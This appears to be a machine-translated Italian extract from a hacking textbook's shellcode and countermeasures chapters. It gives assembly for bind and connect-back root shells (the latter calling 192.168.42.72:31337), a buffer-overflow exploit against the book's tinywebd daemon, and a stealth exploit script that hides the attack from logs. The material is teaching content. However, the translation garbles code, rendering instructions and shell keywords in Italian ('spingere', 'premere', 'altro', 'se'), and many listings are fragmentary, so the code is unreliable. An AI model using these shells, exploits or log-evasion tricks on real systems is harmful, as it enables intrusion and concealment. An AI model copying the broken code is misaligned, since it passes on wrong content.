push ecx ; spingere il terminatore null a 32 bit allo stack.
mov edx, esp; Questo è un array vuoto per envp.
push ebx ; spingere la stringa addr per impilare sopra il terminatore nullo.
mov ecx, esp; Questo è l'array argv con la stringa ptr.
int 0x80 ; execve ("/ bin // sh", ["/ bin // sh", NULL], [NULL])
Shellcode 301
Pagina 316
rispetto a
99 cdq
Un altro byte può essere salvato con un uso intelligente dello stack. Poiché lo stack è
Allineato a 32 bit, un valore a byte singolo inserito nello stack verrà allineato come file
doppia parola. Quando questo valore viene rimosso, verrà esteso con il segno, riempiendo
l'intero registro. Le istruzioni che spingono un singolo byte e lo riportano indietro
in un registro prendono tre byte, mentre si usa xor per azzerare il registro e spostarsi
un singolo byte richiede quattro byte
rispetto a
Questi trucchi (mostrati in grassetto) sono usati nel seguente elenco di shellcode.
Questo si assembla nello stesso codice shell di quello usato nei capitoli precedenti.
shellcode.s
BITS 32
; execve (const char * filename, char * const argv [], char * const envp [])
302 0x500
Pagina 317
bind_port.c
#include <unistd.h>
#include <string.h>
#include <sys / socket.h>
#include <netinet / in.h>
#include <arpa / inet.h>
Shellcode 303
Pagina 318
NOME
socketcall - chiamate di sistema socket
SINOSSI
int socketcall (int call, unsigned long * args);
DESCRIZIONE
socketcall () è un punto di ingresso del kernel comune per le chiamate di sistema socket. chiamata
determina quale funzione socket richiamare. args punta a un blocco contenente
gli argomenti effettivi, che vengono passati alla chiamata appropriata.
I possibili numeri di chiamata per il primo argomento sono elencati nel file
linux / net.h include file.
Da /usr/include/linux/net.h
304 0x500
Pagina 319
Quindi, per effettuare chiamate di sistema socket utilizzando Linux, EAX è sempre 102 per
, EBX contiene il tipo di chiamata socket e ECX è un puntatore a
socketcall ()
gli argomenti della chiamata socket. Le chiamate sono abbastanza semplici, ma alcune di esse
richiedono una struttura sockaddr , che deve essere costruita dallo shellcode. Debug
il codice C compilato è il modo più diretto per guardare questa struttura in memoria.
Il primo punto di interruzione è appena prima che avvenga la chiamata al socket, poiché noi
è necessario controllare i valori di PF_INET e SOCK_STREAM . Tutti e tre gli argomenti lo sono
inserito nello stack (ma con istruzioni mov ) in ordine inverso. Questo significa
PF_INET è 2 e SOCK_STREAM è 1 .
(gdb) cont
Continuando.
Shellcode 305
Pagina 320
$ 2 = 16
(gdb) x / 16xb e host_addr
0xbffff780: 0x02 0x00 0x7a 0x69 0x00 0x00 0x00 0x00
0xbffff788: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
(gdb) p / x 27002
$ 3 = 0x697a
(gdb) p 0x7a69
$ 4 = 31337
(gdb)
Il punto di interruzione successivo si verifica dopo che la struttura sockaddr è stata riempita
valori. Il debugger è abbastanza intelligente da decodificare gli elementi della struttura
quando host_addr viene stampato, ma ora devi essere abbastanza intelligente da realizzare il file
la porta è memorizzata nell'ordine dei byte di rete. Gli elementi sin_family e sin_port sono
entrambe le parole, seguite dall'indirizzo come DWORD . In questo caso, l'indirizzo è 0 ,
il che significa che qualsiasi indirizzo può essere utilizzato per l'associazione. I restanti otto byte
dopodiché sono solo spazio extra nella struttura. I primi otto byte in
struttura (mostrata in grassetto) contiene tutte le informazioni importanti.
Le seguenti istruzioni di assemblaggio eseguono tutte le chiamate socket necessarie
per eseguire il binding alla porta 31337 e accettare le connessioni TCP. La struttura sockaddr e
gli array di argomenti vengono creati ciascuno spingendo i valori in ordine inverso a
stack e quindi copiare ESP in ECX. Gli ultimi otto byte del file sockaddr
struttura non vengono effettivamente inseriti nello stack, poiché non vengono utilizzati. Qualunque cosa
otto byte casuali nello stack occuperanno questo spazio, che
è ok.
bind_port.s
BITS 32
; s = presa (2, 1, 0)
push BYTE 0x66; socketcall è syscall # 102 (0x66).
pop eax
cdq ; Azzera edx da utilizzare come DWORD nullo in seguito.
xor ebx, ebx; ebx è il tipo di socketcall.
inc ebx ; 1 = SYS_SOCKET = socket ()
push edx ; Crea array arg: {protocollo = 0,
premere BYTE 0x1; (al contrario) SOCK_STREAM = 1,
spingere BYTE 0x2; AF_INET = 2}
mov ecx, esp; ecx = ptr nell'array degli argomenti
int 0x80 ; Dopo syscall, eax ha il descrittore di file socket.
306 0x500
Pagina 321
; ascolta (s, 0)
mov BYTE al, 0x66; socketcall (syscall # 102)
inc ebx
inc ebx ; ebx = 4 = SYS_LISTEN = ascolta ()
push ebx ; argv: {backlog = 4,
push esi ; socket fd}
mov ecx, esp; ecx = array di argomenti
int 0x80
; c = accetta (s, 0, 0)
mov BYTE al, 0x66; socketcall (syscall # 102)
inc ebx ; ebx = 5 = SYS_ACCEPT = accetta ()
push edx ; argv: {socklen = 0,
push edx ; sockaddr ptr = NULL,
push esi ; socket fd}
mov ecx, esp; ecx = array di argomenti
int 0x80 ; eax = presa collegata FD
NOME
dup, dup2: duplica un descrittore di file
SINOSSI
#include <unistd.h>
Shellcode 307
Pagina 322
DESCRIZIONE
dup () e dup2 () creano una copia del descrittore di file oldfd.
; execve (const char * filename, char * const argv [], char * const envp [])
mov BYTE al, 11; eseguire syscall # 11
push edx ; spingere alcuni valori nulli per la terminazione della stringa.
push 0x68732f2f; spingere "// sh" nello stack.
push 0x6e69622f; spingere "/ bin" nella pila.
mov ebx, esp; Inserisci l'indirizzo di "/ bin // sh" in ebx tramite esp.
push ecx ; spingere il terminatore null a 32 bit allo stack.
mov edx, esp; Questo è un array vuoto per envp.
push ebx ; spingere la stringa addr per impilare sopra il terminatore nullo.
mov ecx, esp; Questo è l'array argv con la stringa ptr.
int 0x80 ; execve ("/ bin // sh", ["/ bin // sh", NULL], [NULL])
308 0x500
Pagina 323
Da un'altra finestra di terminale, il programma netstat viene utilizzato per trovare il file
porta di ascolto. Quindi, netcat viene utilizzato per connettersi alla shell di root su quella porta.
Shellcode 309
Pagina 324
0x0804839f <main + 43>: lea eax, [ebp-4]
0x080483a2 <main + 46>: incl DWORD PTR [eax]
0x080483a4 <main + 48>: jmp 0x804838b <main + 23>
0x080483a6 <main + 50>: abbandona
0x080483a7 <principale + 51>: ret
Fine del dump dell'assemblatore.
(gdb)
Istruzioni Descrizione
cmp <dest>, <source> Confronta l'operando di destinazione con l'origine, impostando i flag per l'uso
con un'istruzione di salto condizionale.
Queste istruzioni possono essere utilizzate per ridurre la porzione dup2 dello shellcode
fino a quanto segue:
310 0x500
Pagina 325
Questo ciclo itera ECX da 0 a 2 , effettuando ogni volta una chiamata a dup2 . Con
una comprensione più completa dei flag usati dall'istruzione cmp , this
loop può essere ulteriormente ridotto. I flag di stato impostati dall'istruzione cmp sono
impostato anche dalla maggior parte delle altre istruzioni, descrivendo gli attributi dell'istruzione
risultato. Questi flag sono carry flag (CF), parity flag (PF), aggiusta flag (AF), over-
flag di flusso (OF), flag di zero (ZF) e flag di segno (SF). Le ultime due bandiere sono le
più utile e più facile da capire. Il flag zero è impostato su true se il
il risultato è zero, altrimenti è falso. La bandiera del segno è semplicemente la più significativa
bit del risultato, che è vero se il risultato è negativo e falso altrimenti.
Ciò significa che, dopo ogni istruzione con esito negativo, il flag di segno
diventa vero e il flag zero diventa falso.
SF segno bandiera Vero se il risultato è negativo (uguale al bit più significativo di risultato).
Istruzioni Descrizione
Con questa conoscenza, l' istruzione cmp (compare) può essere rimossa
interamente se l'ordine del ciclo è invertito. A partire da 2 e conto alla rovescia,
il flag del segno può essere controllato per eseguire un ciclo fino a 0 . Viene mostrato il ciclo accorciato
sotto, con le modifiche mostrate in grassetto.
Shellcode 311
Pagina 326
Le prime due istruzioni prima del ciclo possono essere accorciate con xchg
(scambio) istruzione. Questa istruzione scambia i valori tra la sorgente
e operandi di destinazione:
Istruzioni Descrizione
Il registro EAX deve essere azzerato per cancellare solo i tre byte superiori
del registro e EBX ha già cancellato questi byte superiori. Quindi scambiare
i valori tra EAX ed EBX uccideranno due piccioni con una fava,
ing la dimensione alla seguente istruzione a byte singolo:
Poiché l' istruzione xchg è in realtà più piccola di un'istruzione mov tra
due registri, può essere utilizzato per ridurre lo shellcode in altri posti. Naturalmente questo
funziona solo in situazioni in cui il registro dell'operando sorgente non ha importanza.
La seguente versione dello shellcode della porta di collegamento utilizza l'istruzione di scambio
per ridurre di qualche byte le sue dimensioni.
bind_shell.s
BITS 32
; s = presa (2, 1, 0)
push BYTE 0x66; socketcall è syscall # 102 (0x66).
pop eax
cdq ; Azzera edx da utilizzare come DWORD nullo in seguito.
xor ebx, ebx; Ebx è il tipo di socketcall.
inc ebx ; 1 = SYS_SOCKET = socket ()
push edx ; Crea array arg: {protocollo = 0,
premere BYTE 0x1; (al contrario) SOCK_STREAM = 1,
spingere BYTE 0x2; AF_INET = 2}
mov ecx, esp; ecx = ptr nell'array degli argomenti
int 0x80 ; Dopo syscall, eax ha il descrittore di file socket.
312 0x500
Pagina 327
; ascolta (s, 0)
mov BYTE al, 0x66; socketcall (syscall # 102)
inc ebx
inc ebx ; ebx = 4 = SYS_LISTEN = ascolta ()
push ebx ; argv: {backlog = 4,
push esi ; socket fd}
mov ecx, esp; ecx = array di argomenti
int 0x80
; c = accetta (s, 0, 0)
mov BYTE al, 0x66; socketcall (syscall # 102)
inc ebx ; ebx = 5 = SYS_ACCEPT = accetta ()
push edx ; argv: {socklen = 0,
push edx ; sockaddr ptr = NULL,
push esi ; socket fd}
mov ecx, esp; ecx = array di argomenti
int 0x80 ; eax = presa collegata FD
; execve (const char * filename, char * const argv [], char * const envp [])
mov BYTE al, 11; eseguire syscall # 11
push edx ; spingere alcuni valori nulli per la terminazione della stringa.
push 0x68732f2f; spingere "// sh" nello stack.
push 0x6e69622f; spingere "/ bin" nella pila.
mov ebx, esp; Inserisci l'indirizzo di "/ bin // sh" in ebx tramite esp.
push edx ; spingere il terminatore null a 32 bit allo stack.
mov edx, esp; Questo è un array vuoto per envp.
push ebx ; spingere la stringa addr per impilare sopra il terminatore nullo.
mov ecx, esp; Questo è l'array argv con la stringa ptr
int 0x80 ; execve ("/ bin // sh", ["/ bin // sh", NULL], [NULL])
Questo si assembla allo stesso shellcode bind_shell a 92 byte utilizzato nel file
capitolo precedente.
Shellcode 313
Pagina 328
connectback_shell.s
BITS 32
; s = presa (2, 1, 0)
push BYTE 0x66; socketcall è syscall # 102 (0x66).
pop eax
cdq ; Azzera edx da utilizzare come DWORD nullo in seguito.
xor ebx, ebx; ebx è il tipo di socketcall.
inc ebx ; 1 = SYS_SOCKET = socket ()
push edx ; Crea array arg: {protocollo = 0,
premere BYTE 0x1; (al contrario) SOCK_STREAM = 1,
spingere BYTE 0x2; AF_INET = 2}
mov ecx, esp; ecx = ptr nell'array degli argomenti
int 0x80 ; Dopo syscall, eax ha il descrittore di file socket.
314 0x500
Pagina 329
pop eax
inc ebx ; ebx = 2 (necessario per AF_INET)
spingere DWORD 0x482aa8c0; Costruisci struttura sockaddr: indirizzo IP = 192.168.42.72
premere WORD 0x697a; (in ordine inverso) PORT = 31337
push WORD bx; AF_INET = 2
mov ecx, esp; ecx = puntatore alla struttura del server
premere BYTE 16; argv: {sizeof (server struct) = 16,
push ecx ; puntatore alla struttura del server,
push esi ; descrittore di file socket}
mov ecx, esp; ecx = array di argomenti
inc ebx ; ebx = 3 = SYS_CONNECT = connect ()
int 0x80 ; eax = presa collegata FD
; execve (const char * filename, char * const argv [], char * const envp [])
mov BYTE al, 11; eseguire syscall # 11.
push edx ; spingere alcuni valori nulli per la terminazione della stringa.
push 0x68732f2f; spingere "// sh" nello stack.
push 0x6e69622f; spingere "/ bin" nella pila.
mov ebx, esp; Inserisci l'indirizzo di "/ bin // sh" in ebx tramite esp.
push edx ; spingere il terminatore null a 32 bit allo stack.
mov edx, esp; Questo è un array vuoto per envp.
push ebx ; spingere la stringa addr per impilare sopra il terminatore nullo.
mov ecx, esp; Questo è l'array argv con la stringa ptr.
int 0x80 ; execve ("/ bin // sh", ["/ bin // sh", NULL], [NULL])
Shellcode 315
Pagina 330
Poiché questi valori sono memorizzati nell'ordine dei byte di rete ma l'archiviazione x 86
tecture è in ordine little-endian, il DWORD memorizzato sembra essere invertito. Questo
significa che il DWORD per 192.168.42.72 è 0x482aa8c0 . Questo vale anche per
WORD a due byte utilizzata per la porta di destinazione. Quando il numero di porta 31337
è stampato in esadecimale usando gdb, l'ordine dei byte è mostrato in little-endian
ordine. Ciò significa che i byte visualizzati devono essere invertiti, quindi WORD per 31337
è 0x697a .
Il programma netcat può essere utilizzato anche per ascoltare le connessioni in entrata
con l' opzione della riga di comando -l . Viene utilizzato nell'output seguente per ascoltare
sulla porta 31337 per lo shellcode di connessione. Il comando ifconfig garantisce
l'indirizzo IP di eth0 è 192.168.42.72 quindi lo shellcode può riconnettersi ad esso.
316 0x500
Pagina 331
l'indirizzo del mittente utilizza più byte. Per garantire un corretto allineamento, la somma
dei byte NOP sled e shellcode devono essere divisibili per quattro. Inoltre, il
lo shellcode stesso deve rimanere entro i primi 500 byte dalla sovrascrittura. Questi sono
i limiti del buffer di risposta e successivamente la memoria corrisponde
ad altri valori sullo stack che potrebbero essere scritti prima di modificare il file
flusso di controllo del programma. Rimanere entro questi limiti evita il rischio di casualità
sovrascrive lo shellcode, che inevitabilmente porta a crash. Ripetendo il file
l'indirizzo di ritorno 16 volte genererà 64 byte, che possono essere inseriti alla fine di
l'exploit buffer da 544 byte e mantiene lo shellcode al sicuro entro i limiti
del buffer. I byte rimanenti all'inizio del buffer di exploit lo faranno
essere la slitta NOP. I calcoli sopra mostrano che una slitta NOP da 402 byte lo farà
allineare correttamente lo shellcode a 78 byte e posizionarlo in modo sicuro entro i limiti di
il buffer. Ripetendo l'indirizzo del mittente desiderato 12 volte la finale
4 byte dell'exploit buffer perfettamente per sovrascrivere l'indirizzo di ritorno salvato
sullo stack. La sovrascrittura dell'indirizzo del mittente con 0xbffff688 dovrebbe tornare
esecuzione fino al centro della slitta NOP, evitando i byte vicino al file
all'inizio del buffer, che potrebbe essere alterato. Questi valori calcolati
verrà utilizzato nel seguente exploit, ma prima è necessaria la shell di connessione
un posto a cui riconnettersi. Nell'output sotto, netcat viene utilizzato per ascoltare
per le connessioni in entrata sulla porta 31337.
Shellcode 317
Pagina 332
Dopo aver inserito il valore 0x01BBBB7f nello stack, il registro ESP punterà
all'inizio di questo DWORD. Scrivendo una WORD a due byte di byte nulli
a ESP + 1, i due byte centrali verranno sovrascritti per formare il ritorno corretto
indirizzo.
Questa istruzione aggiuntiva aumenta la dimensione dello shellcode di alcuni
bytes, il che significa che anche la slitta NOP deve essere regolata per l'exploit
buffer. Questi calcoli sono mostrati nell'output di seguito e risultano in
una slitta NOP da 397 byte. Questo exploit che utilizza lo shellcode di loopback presuppone che
il programma tinyweb è in esecuzione e che un processo netcat sta ascoltando
connessioni in entrata sulla porta 31337.
Pagina 333
0x600 CONTROMISURE
Pagina 334
focolaio minore all'inizio anziché anni dopo, quando può causare danni reali.
Se non fosse per i worm Internet che rendono pubblico spettacolo di questa sicurezza
difetti, potrebbero rimanere senza patch, lasciandoci vulnerabili a un attacco da
qualcuno con obiettivi più dannosi della semplice replica. In questo modo, i vermi
e i virus possono effettivamente rafforzare la sicurezza a lungo termine. Tuttavia, lì
sono modi più proattivi per rafforzare la sicurezza. Contromisure difensive
esistono che cercano di annullare l'effetto di un attacco o di impedire l'attacco
sta accadendo. Una contromisura è un concetto abbastanza astratto; questo potrebbe essere un file
prodotto di sicurezza, un insieme di politiche, un programma o semplicemente un sistema attento
amministratore. Queste contromisure difensive possono essere separate in due
gruppi: quelli che cercano di rilevare l'attacco e quelli che cercano di proteggere il file
vulnerabilità.
320 0x600
Pagina 335
Per avere una discussione realistica sulle contromisure di exploit e sui metodi di bypass,
abbiamo prima bisogno di un obiettivo di sfruttamento realistico. Una destinazione remota sarà un server
programma che accetta le connessioni in entrata. In Unix, questi programmi sono
di solito daemon di sistema. Un demone è un programma che viene eseguito in background
massa e si stacca dal terminale di controllo in un certo modo. Il
il termine demone è stato coniato per la prima volta dagli hacker del MIT negli anni '60. Si riferisce a un file
demone di smistamento delle molecole da un esperimento mentale del 1867 di un fisico
chiamato James Maxwell. Nell'esperimento mentale, il demone di Maxwell è un
essere con la capacità soprannaturale di svolgere senza sforzo compiti difficili,
apparentemente violando la seconda legge della termodinamica. Allo stesso modo, in Linux,
i daemon di sistema eseguono instancabilmente attività come la fornitura di servizi SSH e
mantenere i registri di sistema. I programmi daemon in genere terminano con una d per indicarlo
sono demoni, come sshd o syslogd .
Con alcune aggiunte, il codice tinyweb.c a pagina 214 può essere trasformato in un file
demone di sistema più realistico. Questo nuovo codice utilizza una chiamata alla funzione daemon ()
zione, che genererà un nuovo processo in background. Questa funzione è utilizzata da
molti processi daemon di sistema in Linux e la sua pagina man è mostrata di seguito.
NOME
daemon - eseguito in background
SINOSSI
#include <unistd.h>
DESCRIZIONE
La funzione daemon () è per i programmi che desiderano scollegarsi da
il terminale di controllo ed eseguito in background come demoni di sistema.
A meno che l'argomento nochdir non sia diverso da zero, daemon () cambia l'attuale
directory di lavoro alla radice ("/").
A meno che l'argomento noclose non sia diverso da zero, daemon () reindirizzerà stan
dard input, standard output e standard error in / dev / null.
VALORE DI RITORNO
(Questa funzione esegue il fork, e se fork () ha successo, il genitore lo fa
_exit (0), in modo che ulteriori errori siano visti solo dal figlio.) On suc
cess zero verrà restituito. Se si verifica un errore, daemon () restituisce -1
e imposta la variabile globale errno su uno degli errori specificati per
le funzioni di libreria fork (2) e setsid (2).
Contromisure 321
Pagina 336
I daemon di sistema vengono eseguiti scollegati da un terminale di controllo, quindi il nuovo file
Il codice del demone tinyweb scrive in un file di registro. Senza un terminale di controllo,
i daemon di sistema sono generalmente controllati con segnali. Il nuovo tinyweb
Il programma demone dovrà catturare il segnale di terminazione in modo che possa uscire
in modo pulito quando viene ucciso.
signal_example.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
/ * Alcuni segnali etichettati definiscono da signal.h
* #define SIGHUP 1 Hangup
* #define SIGINT 2 Interruzione (Ctrl-C)
* #define SIGQUIT 3 Esci (Ctrl- \)
* #define SIGILL 4 Istruzione illegale
* #define SIGTRAP 5 Trace / breakpoint trap
* #define SIGABRT 6 Processo interrotto
* #define SIGBUS 7 Errore di bus
* #define SIGFPE 8 Errore in virgola mobile
* #define SIGKILL 9 Kill
* #define SIGUSR1 10 Segnale definito dall'utente 1
* #define SIGSEGV 11 Errore di segmentazione
* #define SIGUSR2 12 Segnale definito dall'utente 2
* #define SIGPIPE 13 Scrive su pipe senza che nessuno legga
* #define SIGALRM 14 Allarme conto alla rovescia impostato da allarme ()
* #define SIGTERM 15 Termination (inviato dal comando kill)
* #define SIGCHLD 17 Segnale di processo figlio
* #define SIGCONT 18 Continua se fermato
* #define SIGSTOP 19 Stop (pausa esecuzione)
* #define SIGTSTP 20 Terminal stop [suspend] (Ctrl-Z)
* #define SIGTTIN 21 Processo in background che tenta di leggere lo stdin
* #define SIGTTOU 22 Processo in background che tenta di leggere lo stdout
*/
/ * Un gestore di segnali * /
void signal_handler (int signal) {
322 0x600
Pagina 337
int main () {
/ * Registrazione di gestori di segnali * /
signal (SIGQUIT, signal_handler); // Imposta signal_handler () come
signal (SIGTSTP, signal_handler); // gestore del segnale per questi
signal (SIGUSR1, signal_handler); // segnali.
signal (SIGUSR2, signal_handler);
Contromisure 323
Pagina 338
lettore @ hacking: ~ / booksrc $ kill -l
1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL
5) SIGTRAP 6) SIGABRT 7) SIGBUS 8) SIGFPE
9) SIGKILL 10) SIGUSR1 11) SIGSEGV 12) SIGUSR2
13) SIGPIPE 14) SIGALRM 15) SIGTERM 16) SIGSTKFLT
17) SIGCHLD 18) SIGCONT 19) SIGSTOP 20) SIGTSTP
21) SIGTTIN 22) SIGTTOU 23) SIGURG 24) SIGXCPU
25) SIGXFSZ 26) SIGVTALRM 27) SIGPROF 28) SIGWINCH
29) SIGIO 30) SIGPWR 31) SIGSYS 34) SIGRTMIN
35) SIGRTMIN + 1 36) SIGRTMIN + 2 37) SIGRTMIN + 3 38) SIGRTMIN + 4
39) SIGRTMIN + 5 40) SIGRTMIN + 6 41) SIGRTMIN + 7 42) SIGRTMIN + 8
43) SIGRTMIN + 9 44) SIGRTMIN + 10 45) SIGRTMIN + 11 46) SIGRTMIN + 12
47) SIGRTMIN + 13 48) SIGRTMIN + 14 49) SIGRTMIN + 15 50) SIGRTMAX-14
51) SIGRTMAX-13 52) SIGRTMAX-12 53) SIGRTMAX-11 54) SIGRTMAX-10
55) SIGRTMAX-9 56) SIGRTMAX-8 57) SIGRTMAX-7 58) SIGRTMAX-6
59) SIGRTMAX-5 60) SIGRTMAX-4 61) SIGRTMAX-3 62) SIGRTMAX-2
63) SIGRTMAX-1 64) SIGRTMAX
lettore @ hacking: ~ / booksrc $ ps a | grep signal_example
24491 punti / 3 L + 0:17 ./segnale_esempio
24512 punti / 1 S + 0:00 grep signal_example
lettore @ hacking: ~ / booksrc $ kill -10 24491
lettore @ hacking: ~ / booksrc $ kill -12 24491
lettore @ hacking: ~ / booksrc $ kill -9 24491
lettore @ hacking: ~ / booksrc $
Infine, il segnale SIGKILL viene inviato utilizzando kill -9 . Il gestore di questo segnale
non può essere modificato, quindi kill -9 può sempre essere utilizzato per terminare i processi. Nel
altro terminale, il signal_example in esecuzione mostra i segnali così come sono
catturato e il processo viene interrotto.
324 0x600
Pagina 339
tinywebd.c
timestamp (logfd);
Contromisure 325
Pagina 340
if (bind (sockfd, (struct sockaddr *) & host_addr, sizeof (struct sockaddr)) == -1)
fatal ("binding to socket");
sprintf (log_buffer, "From% s:% d \"% s \ "\ t", inet_ntoa (client_addr_ptr-> sin_addr),
ntohs (client_addr_ptr-> sin_port), richiesta);
ptr = strstr (richiesta, "HTTP /"); // Cerca una richiesta dall'aspetto valido.
if (ptr == NULL) {// Allora questo non è un HTTP valido
strcat (log_buffer, "NON HTTP! \ n");
} altro {
* ptr = 0; // Termina il buffer alla fine dell'URL.
ptr = NULL; // Imposta ptr su NULL (utilizzato per segnalare una richiesta non valida).
if (strncmp (request, "GET", 4) == 0) // Ottieni richiesta
ptr = richiesta + 4; // ptr è l'URL.
if (strncmp (request, "HEAD", 5) == 0) // Head request
ptr = richiesta + 5; // ptr è l'URL.
if (ptr == NULL) {// Allora questa non è una richiesta riconosciuta
strcat (log_buffer, "RICHIESTA SCONOSCIUTA! \ n");
} else {// Richiesta valida, con ptr che punta al nome della risorsa
if (ptr [strlen (ptr) - 1] == '/') // Per risorse che terminano con '/',
strcat (ptr, "index.html"); // aggiungi "index.html" alla fine.
strcpy (risorsa, WEBROOT); // Inizia la risorsa con il percorso di root web
strcat (risorsa, ptr); // e unisciti a esso con il percorso della risorsa.
fd = open (risorsa, O_RDONLY, 0); // Prova ad aprire il file.
326 0x600
Pagina 341
Contromisure 327
Pagina 342
Questo programma demone esegue il fork in background, scrive in un file di registro con
timestamp ed esce in modo pulito quando viene ucciso. Il descrittore del file di registro e
i socket di ricezione della connessione sono dichiarati come globali in modo che possano essere chiusi
in modo pulito dalla funzione handle_shutdown () . Questa funzione è impostata come callback
gestore per i segnali di terminazione e interruzione, che consente al programma di farlo
esce con grazia quando viene ucciso con il comando kill .
L'output seguente mostra il programma compilato, eseguito e terminato.
Si noti che il file di registro contiene i timestamp e il messaggio di arresto
quando il programma cattura il segnale di terminazione e chiama handle_shutdown ()
per uscire con grazia.
Questo programma tinywebd serve contenuti HTTP proprio come l'originale tinyweb
programma, ma si comporta come un demone di sistema, staccandosi dal controllo
terminale e la scrittura in un file di registro. Entrambi i programmi sono vulnerabili allo stesso
exploit di overflow; tuttavia, lo sfruttamento è solo l'inizio. Usando il
nuovo demone tinyweb come obiettivo di exploit più realistico, imparerai come farlo
evitare il rilevamento dopo l'intrusione.
328 0x600
Pagina 343
Contromisure 329
Pagina 344
Quando il programma viene eseguito, esce semplicemente. Per eseguire il debug di questo programma,
A GDB deve essere detto di seguire il processo figlio, invece di seguire il
genitore. Questo viene fatto impostando follow-fork-mode su child . Dopo questa modifica, il
debugger seguirà l'esecuzione nel processo figlio, dove il punto di interruzione
può essere colpito.
È utile sapere come eseguire il debug dei processi figlio, ma poiché abbiamo bisogno di
valori di stack specifici, è molto più pulito e più facile da associare a una corsa
processi. Dopo aver eliminato tutti i processi a.out vaganti, il demone tinyweb è
riavviato e poi attaccato a GDB.
330 0x600
Pagina 345
Contromisure 331
Pagina 346
Poiché l'offset per l'indirizzo di ritorno è 540 byte, sono necessari 544 byte
per sovrascrivere l'indirizzo. Con lo shellcode di loopback a 83 byte e l'estensione
indirizzo di ritorno sovrascritto ripetuto 32 volte, lo dimostra una semplice aritmetica
lo sled NOP deve essere di 333 byte per allineare tutto nel buffer degli exploit
propriamente. netcat viene eseguito in modalità di ascolto con una e commerciale ( & ) aggiunta a
la fine, che invia il processo in background. Questo ascolta il
connessione dallo shellcode e può essere ripresa in seguito con il comando
fg (primo piano). Sul LiveCD, il simbolo ( @ ) nel prompt dei comandi
cambierà colore se sono presenti lavori in background, che possono anche essere elencati con
il comando jobs . Quando il buffer di exploit viene reindirizzato a netcat, l' opzione -w
è usato per dirgli di scadere dopo un secondo. In seguito, lo sfondo
Il processo netcat che ha ricevuto la shell connectback può essere ripreso.
Tutto questo funziona bene, ma se viene utilizzato uno shellcode di dimensioni diverse, il NOP
la dimensione della slitta deve essere ricalcolata. Tutti questi passaggi ripetitivi possono essere inseriti in un file
script di shell singolo.
La shell BASH consente semplici strutture di controllo. L' istruzione if in
l'inizio di questo script è solo per il controllo degli errori e la visualizzazione dell'utilizzo
332 0x600
Pagina 347
Messaggio. Le variabili di shell vengono utilizzate per l'offset e sovrascrivere l'indirizzo di ritorno,
in modo che possano essere facilmente modificati per un obiettivo diverso. Lo shellcode utilizzato per
l'exploit viene passato come argomento della riga di comando, il che lo rende utile
strumento per provare una varietà di shellcode.
xtool_tinywebd.sh
#! / bin / sh
# Uno strumento per sfruttare tinywebd
Si noti che questo script ripete l'indirizzo del mittente per ulteriori trentatré
tempo, ma utilizza 128 byte (32 × 4) per calcolare la dimensione della slitta. Questo mette un
copia extra dell'indirizzo di ritorno oltre il punto in cui l'offset lo impone. Qualche volta
diverse opzioni del compilatore sposteranno un po 'l'indirizzo del mittente,
quindi questo rende l'exploit più affidabile. L'output di seguito mostra che questo strumento è
utilizzato per sfruttare ancora una volta il daemon tinyweb, ma con il port-binding
shellcode.
Ora che la parte attaccante è armata di uno script di exploit, considera cosa
accade quando viene utilizzato. Se tu fossi l'amministratore del server in esecuzione
il daemon tinyweb, quali sarebbero i primi segni che sei stato violato?
Contromisure 333
Pagina 348
jfX1CRj j jfXCh
fT $ fhzifS j QV CI? Iy
Rh // shh / bin RS $ $ $ $ $ $
$$$$$$$$$$$$$$$$$
$ $ $ $ $ $ $ $ "NON HTTP!
lettore @ hacking: ~ / booksrc $
Ovviamente in questo caso, dopo che l'attaccante ottiene una shell di root, può semplicemente modificare
il file di registro poiché si trova sullo stesso sistema. Su reti protette, tuttavia, le copie
dei log vengono spesso inviati a un altro server sicuro. In casi estremi, vengono inviati i registri
a una stampante per la copia cartacea, quindi c'è una registrazione fisica. Questi tipi di contro
misure prevengono la manomissione dei log dopo lo sfruttamento riuscito.
Questo tipo di mimetizzazione è molto efficace nelle grandi imprese con ampi
log, dato che ci sono così tante richieste valide tra cui nascondersi: È più facile
confondersi in un centro commerciale affollato che in una strada deserta. Ma esattamente come ti nascondi
un grosso, brutto cuscinetto contro gli exploit nei vestiti della proverbiale pecora?
334 0x600
Pagina 349
C'è un semplice errore nel codice sorgente del daemon tinyweb che consente
il buffer delle richieste deve essere troncato in anticipo quando viene utilizzato per l'output del file di registro,
ma non quando si copia in memoria. La funzione recv_line () utilizza \ r \ n come
delimitatore; tuttavia, tutte le altre funzioni stringa standard utilizzano un byte nullo per
il delimitatore. Queste funzioni stringa vengono utilizzate per scrivere nel file di registro, quindi da
utilizzando strategicamente entrambi i delimitatori, i dati scritti nel registro possono essere parzialmente
controllato.
Il seguente script di exploit mette una richiesta dall'aspetto valido davanti al resto
dell'exploit buffer. La slitta NOP viene ridotta per accogliere i nuovi dati.
xtool_tinywebd_stealth.sh
#! / bin / sh
# strumento di sfruttamento invisibile
se [-z "$ 2"]; then # Se l'argomento 2 è vuoto
echo "Utilizzo: $ 0 <file shellcode> <IP di destinazione>"
Uscita
fi
FAKEREQUEST = "GET / HTTP / 1.1 \ x00"
FR_SIZE = $ (perl -e "print \" $ FAKEREQUEST \ "" | wc -c | cut -f1 -d '')
OFFSET = 540
RETADDR = "\ x24 \ xf6 \ xff \ xbf" # A +100 byte dal buffer @ 0xbffff5c0
echo "IP di destinazione: $ 2"
DIMENSIONE = `wc -c $ 1 | tagliare -f1 -d '' `
echo "codice shell: $ 1 ($ SIZE byte)"
echo "richiesta falsa: \" $ FAKEREQUEST \ "($ FR_SIZE byte)"
ALIGNED_SLED_SIZE = $ (($ OFFSET + 4 - (32 * 4) - $ SIZE - $ FR_SIZE))
Questo nuovo buffer di exploit utilizza il delimitatore di byte nullo per terminare il falso
richiesta camouflage. Un byte nullo non interromperà la funzione recv_line () , quindi il
il resto del buffer degli exploit viene copiato nello stack. Poiché la stringa funziona
usato per scrivere nel log usa un byte nullo per la terminazione, la falsa richiesta è
registrato e il resto dell'exploit viene nascosto. Il seguente output lo mostra
script di exploit in uso.
Contromisure 335
Pagina 350
La connessione utilizzata da questo exploit crea le seguenti voci del file di registro
sulla macchina server.
Anche se l'indirizzo IP registrato non può essere modificato utilizzando questo metodo,
la richiesta stessa sembra valida, quindi non attirerà troppa attenzione.
336 0x600
Pagina 351
qualsiasi programma per mostrare ogni chiamata di sistema che fa. Nell'output di seguito, questo è
usato per verificare che gli argomenti di open () in C corrispondano al file raw sys-
il tem chiama.
Contromisure 337
Pagina 352
